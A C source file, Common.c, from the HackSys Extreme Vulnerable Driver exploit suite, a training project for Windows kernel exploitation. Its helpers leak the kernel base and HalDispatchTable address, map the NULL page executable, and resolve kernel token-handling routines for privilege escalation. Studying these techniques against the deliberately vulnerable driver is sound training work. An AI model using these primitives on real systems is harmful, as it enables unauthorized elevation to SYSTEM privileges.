mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
HackSys Team
534 lines
20 KiB
C
534 lines
20 KiB
C
/*++
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## ## ######## ## ## ########
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## ## ## ## ## ## ##
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## ## ## ## ## ## ##
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######### ###### ## ## ## ##
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## ## ## ## ## ## ##
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## ## ## ## ## ## ##
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## ## ######## ### ########
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HackSys Extreme Vulnerable Driver Exploit
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Author : Ashfaq Ansari
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Contact: ashfaq[at]hacksys[dot]io
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Website: https://hacksys.io/
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Copyright (C) 2021-2023 HackSys Inc. All rights reserved.
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Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.
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This program is free software: you can redistribute it and/or modify it under the terms of
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the GNU General Public License as published by the Free Software Foundation, either version
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3 of the License, or (at your option) any later version.
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This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
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without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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See the GNU General Public License for more details.
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You should have received a copy of the GNU General Public License along with this program.
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If not, see <http://www.gnu.org/licenses/>.
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THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
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LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
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ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
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INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
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TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
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INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
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LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
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THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
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See the file 'LICENSE' for complete copying permission.
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Module Name:
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Common.c
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Abstract:
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This module implements the methods which are
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common to all the exploit modules.
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--*/
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#include "Common.h"
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VOID ClearScreen() {
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//
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// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682022(v=vs.85).aspx
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//
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DWORD ConSize;
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HANDLE hConsole;
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DWORD CharsWritten;
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COORD CoordScreen = {0, 0};
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CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;
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hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
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if (!GetConsoleScreenBufferInfo(hConsole, &ConsoleScreenBufferInfo)) {
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return;
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}
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ConSize = ConsoleScreenBufferInfo.dwSize.X * ConsoleScreenBufferInfo.dwSize.Y;
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if (!FillConsoleOutputCharacter(hConsole,
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(TCHAR)' ',
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ConSize,
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CoordScreen,
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&CharsWritten )) {
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return;
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}
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if (!GetConsoleScreenBufferInfo(hConsole, &ConsoleScreenBufferInfo)) {
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return;
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}
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if (!FillConsoleOutputAttribute(hConsole,
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ConsoleScreenBufferInfo.wAttributes,
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ConSize,
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CoordScreen,
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&CharsWritten)) {
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return;
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}
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SetConsoleCursorPosition(hConsole, CoordScreen);
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}
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VOID ColoredConsoleOuput(WORD wColor, CONST PTCHAR fmt, ...) {
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SIZE_T Length = 0;
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PTCHAR DebugString;
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va_list args = NULL;
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HANDLE hConsoleOutput;
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WORD CurrentAttributes;
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CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;
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va_start(args, fmt);
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Length = _vscprintf(fmt, args) + 2;
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DebugString = (PTCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Length * sizeof(TCHAR));
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hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
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GetConsoleScreenBufferInfo(hConsoleOutput, &ConsoleScreenBufferInfo);
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CurrentAttributes = ConsoleScreenBufferInfo.wAttributes;
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SetConsoleTextAttribute(hConsoleOutput, FOREGROUND_INTENSITY | wColor);
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vfprintf(stderr, fmt, args);
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vsprintf_s(DebugString, Length, fmt, args);
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OutputDebugString(DebugString);
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SetConsoleTextAttribute(hConsoleOutput, CurrentAttributes);
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va_end(args);
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HeapFree(GetProcessHeap(), 0, (LPVOID)DebugString);
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}
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VOID CenterConsoleScreen() {
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HWND hConsoleWindow = GetConsoleWindow();
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int xPos = (GetSystemMetrics(SM_CXSCREEN) - 680) / 2;
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int yPos = ((GetSystemMetrics(SM_CYSCREEN) - 350) / 2) - 150;
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MoveWindow(hConsoleWindow, xPos, yPos, 700, 600, TRUE);
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}
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HANDLE GetDeviceHandle(LPCSTR FileName) {
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HANDLE hFile = NULL;
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hFile = CreateFile(FileName,
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GENERIC_READ | GENERIC_WRITE,
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FILE_SHARE_READ | FILE_SHARE_WRITE,
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NULL,
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OPEN_EXISTING,
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FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
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NULL);
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return hFile;
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}
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DWORD GetProcessID(LPCSTR ProcessName) {
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ULONG ProcessID = 0;
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HANDLE hProcessSnapshot = NULL;
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PROCESSENTRY32 ProcessEntry32 = {0};
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ProcessEntry32.dwSize = sizeof(PROCESSENTRY32);
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// Create the snapshot of all processes
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hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
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if (!hProcessSnapshot) {
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DEBUG_ERROR("\t\t[-] Failed Creating Snapshot Of Processes: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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if (!Process32First(hProcessSnapshot, &ProcessEntry32)) {
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DEBUG_ERROR("\t\t[-] Failed To Get Info About First Process: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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do {
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if (strcmp(ProcessName, ProcessEntry32.szExeFile) == 0) {
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ProcessID = ProcessEntry32.th32ProcessID;
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break;
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}
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} while (Process32Next(hProcessSnapshot, &ProcessEntry32));
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CloseHandle(hProcessSnapshot);
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return ProcessID;
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}
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PVOID GetHalDispatchTable() {
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PCHAR KernelImage;
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SIZE_T ReturnLength;
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HMODULE hNtDll = NULL;
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PVOID HalDispatchTable = NULL;
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HMODULE hKernelInUserMode = NULL;
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PVOID KernelBaseAddressInKernelMode;
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NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
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PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
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hNtDll = LoadLibrary("ntdll.dll");
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if (!hNtDll) {
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DEBUG_ERROR("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
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if (!NtQuerySystemInformation) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);
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// Allocate the Heap chunk
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pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
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HEAP_ZERO_MEMORY,
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ReturnLength);
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if (!pSystemModuleInformation) {
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DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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NtStatus = NtQuerySystemInformation(SystemModuleInformation,
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pSystemModuleInformation,
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ReturnLength,
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&ReturnLength);
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if (NtStatus != STATUS_SUCCESS) {
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DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
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KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;
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DEBUG_INFO("\t\t\t[+] Loaded Kernel: %s\n", KernelImage);
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DEBUG_INFO("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode);
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hKernelInUserMode = LoadLibraryA(KernelImage);
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if (!hKernelInUserMode) {
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DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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// This is still in user mode
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HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");
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if (!HalDispatchTable) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)hKernelInUserMode);
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// Here we get the address of HapDispatchTable in Kernel mode
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HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)KernelBaseAddressInKernelMode);
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DEBUG_INFO("\t\t\t[+] HalDispatchTable: 0x%p\n", HalDispatchTable);
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}
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HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);
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if (hNtDll) {
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FreeLibrary(hNtDll);
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}
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if (hKernelInUserMode) {
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FreeLibrary(hKernelInUserMode);
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}
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hNtDll = NULL;
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hKernelInUserMode = NULL;
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pSystemModuleInformation = NULL;
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return HalDispatchTable;
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}
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BOOL MapNullPage() {
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HMODULE hNtdll;
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SIZE_T RegionSize = 0x1000; // will be rounded up to the next host
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// page size address boundary -> 0x2000
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PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host
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// page size address boundary -> 0x00000000
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NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
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hNtdll = GetModuleHandle("ntdll.dll");
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// Grab the address of NtAllocateVirtualMemory
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NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
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if (!NtAllocateVirtualMemory) {
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DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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// Allocate the Virtual memory
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NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
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&BaseAddress,
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0,
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&RegionSize,
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MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
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PAGE_EXECUTE_READWRITE);
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if (NtStatus != STATUS_SUCCESS) {
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DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus);
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress);
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DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize);
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}
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FreeLibrary(hNtdll);
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return TRUE;
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}
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VOID ResolveKernelAPIs() {
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PCHAR KernelImage;
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SIZE_T ReturnLength;
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HMODULE hNtDll = NULL;
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PVOID HalDispatchTable = NULL;
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HMODULE hKernelInUserMode = NULL;
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PVOID KernelBaseAddressInKernelMode;
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NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
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PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
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DEBUG_INFO("\t\t[+] Resolving Kernel APIs\n");
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hNtDll = LoadLibrary("ntdll.dll");
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if (!hNtDll) {
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DEBUG_ERROR("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtDll, "NtAllocateVirtualMemory");
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if (!NtAllocateVirtualMemory) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t\t[+] NtAllocateVirtualMemory: 0x%p\n", NtAllocateVirtualMemory);
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}
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NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
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if (!NtQuerySystemInformation) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t\t[+] NtQuerySystemInformation: 0x%p\n", NtQuerySystemInformation);
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}
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NtSetInformationProcess = (NtSetInformationProcess_t)GetProcAddress(hNtDll, "NtSetInformationProcess");
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if (!NtSetInformationProcess) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving NtSetInformationProcess: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t\t[+] NtSetInformationProcess: 0x%p\n", NtSetInformationProcess);
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}
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NtCreateDirectoryObject = (NtCreateDirectoryObject_t)GetProcAddress(hNtDll, "NtCreateDirectoryObject");
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if (!NtCreateDirectoryObject) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving NtCreateDirectoryObject: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t\t[+] NtCreateDirectoryObject: 0x%p\n", NtCreateDirectoryObject);
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}
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NtOpenDirectoryObject = (NtOpenDirectoryObject_t)GetProcAddress(hNtDll, "NtOpenDirectoryObject");
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if (!NtOpenDirectoryObject) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving NtOpenDirectoryObject: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t\t[+] NtOpenDirectoryObject: 0x%p\n", NtOpenDirectoryObject);
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}
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NtCreateSymbolicLinkObject = (NtCreateSymbolicLinkObject_t)GetProcAddress(hNtDll, "NtCreateSymbolicLinkObject");
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if (!NtCreateSymbolicLinkObject) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving NtCreateSymbolicLinkObject: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t\t[+] NtCreateSymbolicLinkObject: 0x%p\n", NtCreateSymbolicLinkObject);
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}
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RtlInitUnicodeString = (RtlInitUnicodeString_t)GetProcAddress(hNtDll, "RtlInitUnicodeString");
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if (!RtlInitUnicodeString) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving RtlInitUnicodeString: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t\t[+] RtlInitUnicodeString: 0x%p\n", RtlInitUnicodeString);
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}
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NtMapUserPhysicalPages = (NtMapUserPhysicalPages_t)GetProcAddress(hNtDll, "NtMapUserPhysicalPages");
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if (!NtMapUserPhysicalPages) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving NtMapUserPhysicalPages: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t\t[+] NtMapUserPhysicalPages: 0x%p\n", NtMapUserPhysicalPages);
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}
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NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);
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// Allocate the Heap chunk
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pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
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HEAP_ZERO_MEMORY,
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ReturnLength);
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if (!pSystemModuleInformation) {
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DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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NtStatus = NtQuerySystemInformation(SystemModuleInformation,
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pSystemModuleInformation,
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ReturnLength,
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&ReturnLength);
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if (NtStatus != STATUS_SUCCESS) {
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DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
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KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;
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hKernelInUserMode = LoadLibraryA(KernelImage);
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if (!hKernelInUserMode) {
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DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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ZwOpenProcess = (ZwOpenProcess_t)GetProcAddress(hKernelInUserMode, "ZwOpenProcess");
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if (!ZwOpenProcess) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwOpenProcess: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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ZwOpenProcess = (ZwOpenProcess_t)((ULONG)ZwOpenProcess - (ULONG)hKernelInUserMode);
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ZwOpenProcess = (ZwOpenProcess_t)((ULONG)ZwOpenProcess + (ULONG)KernelBaseAddressInKernelMode);
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DEBUG_INFO("\t\t\t[+] ZwOpenProcess: 0x%p\n", ZwOpenProcess);
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}
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ZwOpenProcessToken = (ZwOpenProcessToken_t)GetProcAddress(hKernelInUserMode, "ZwOpenProcessToken");
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if (!ZwOpenProcessToken) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwOpenProcessToken: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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ZwOpenProcessToken = (ZwOpenProcessToken_t)((ULONG)ZwOpenProcessToken - (ULONG)hKernelInUserMode);
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ZwOpenProcessToken = (ZwOpenProcessToken_t)((ULONG)ZwOpenProcessToken + (ULONG)KernelBaseAddressInKernelMode);
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DEBUG_INFO("\t\t\t[+] ZwOpenProcessToken: 0x%p\n", ZwOpenProcess);
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}
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ZwDuplicateToken = (ZwDuplicateToken_t)GetProcAddress(hKernelInUserMode, "ZwDuplicateToken");
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if (!ZwDuplicateToken) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwDuplicateToken: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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ZwDuplicateToken = (ZwDuplicateToken_t)((ULONG)ZwDuplicateToken - (ULONG)hKernelInUserMode);
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ZwDuplicateToken = (ZwDuplicateToken_t)((ULONG)ZwDuplicateToken + (ULONG)KernelBaseAddressInKernelMode);
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DEBUG_INFO("\t\t\t[+] ZwDuplicateToken: 0x%p\n", ZwDuplicateToken);
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}
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PsGetCurrentProcess = (PsGetCurrentProcess_t)GetProcAddress(hKernelInUserMode, "PsGetCurrentProcess");
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if (!PsGetCurrentProcess) {
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DEBUG_ERROR("\t\t\t[-] Failed Resolving PsGetCurrentProcess: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
PsGetCurrentProcess = (PsGetCurrentProcess_t)((ULONG)PsGetCurrentProcess - (ULONG)hKernelInUserMode);
|
|
PsGetCurrentProcess = (PsGetCurrentProcess_t)((ULONG)PsGetCurrentProcess + (ULONG)KernelBaseAddressInKernelMode);
|
|
DEBUG_INFO("\t\t\t[+] PsGetCurrentProcess: 0x%p\n", PsGetCurrentProcess);
|
|
}
|
|
|
|
PsLookupProcessByProcessId = (PsLookupProcessByProcessId_t)GetProcAddress(hKernelInUserMode, "PsLookupProcessByProcessId");
|
|
if (!PsLookupProcessByProcessId) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed Resolving PsLookupProcessByProcessId: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
PsLookupProcessByProcessId = (PsLookupProcessByProcessId_t)((ULONG)PsLookupProcessByProcessId - (ULONG)hKernelInUserMode);
|
|
PsLookupProcessByProcessId = (PsLookupProcessByProcessId_t)((ULONG)PsLookupProcessByProcessId + (ULONG)KernelBaseAddressInKernelMode);
|
|
DEBUG_INFO("\t\t\t[+] PsLookupProcessByProcessId: 0x%p\n", PsLookupProcessByProcessId);
|
|
}
|
|
|
|
PsReferencePrimaryToken = (PsReferencePrimaryToken_t)GetProcAddress(hKernelInUserMode, "PsReferencePrimaryToken");
|
|
if (!PsReferencePrimaryToken) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed Resolving PsReferencePrimaryToken: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
PsReferencePrimaryToken = (PsReferencePrimaryToken_t)((ULONG)PsReferencePrimaryToken - (ULONG)hKernelInUserMode);
|
|
PsReferencePrimaryToken = (PsReferencePrimaryToken_t)((ULONG)PsReferencePrimaryToken + (ULONG)KernelBaseAddressInKernelMode);
|
|
DEBUG_INFO("\t\t\t[+] PsReferencePrimaryToken: 0x%p\n", PsReferencePrimaryToken);
|
|
}
|
|
|
|
ZwSetInformationProcess = (ZwSetInformationProcess_t)GetProcAddress(hKernelInUserMode, "ZwSetInformationProcess");
|
|
if (!ZwSetInformationProcess) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwSetInformationProcess: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
ZwSetInformationProcess = (ZwSetInformationProcess_t)((ULONG)ZwSetInformationProcess - (ULONG)hKernelInUserMode);
|
|
ZwSetInformationProcess = (ZwSetInformationProcess_t)((ULONG)ZwSetInformationProcess + (ULONG)KernelBaseAddressInKernelMode);
|
|
DEBUG_INFO("\t\t\t[+] ZwSetInformationProcess: 0x%p\n", ZwSetInformationProcess);
|
|
}
|
|
|
|
ZwClose = (ZwClose_t)GetProcAddress(hKernelInUserMode, "ZwClose");
|
|
if (!ZwClose) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwClose: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
ZwClose = (ZwClose_t)((ULONG)ZwClose - (ULONG)hKernelInUserMode);
|
|
ZwClose = (ZwClose_t)((ULONG)ZwClose + (ULONG)KernelBaseAddressInKernelMode);
|
|
DEBUG_INFO("\t\t\t[+] ZwClose: 0x%p\n", ZwClose);
|
|
}
|
|
|
|
HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);
|
|
|
|
if (hNtDll) {
|
|
FreeLibrary(hNtDll);
|
|
}
|
|
|
|
if (hKernelInUserMode) {
|
|
FreeLibrary(hKernelInUserMode);
|
|
}
|
|
|
|
hNtDll = NULL;
|
|
hKernelInUserMode = NULL;
|
|
pSystemModuleInformation = NULL;
|
|
}
|
|
|
|
ULONG GetNumberOfProcessors() {
|
|
SYSTEM_INFO SystemInfo;
|
|
|
|
GetSystemInfo(&SystemInfo);
|
|
|
|
return (ULONG)SystemInfo.dwNumberOfProcessors;
|
|
}
|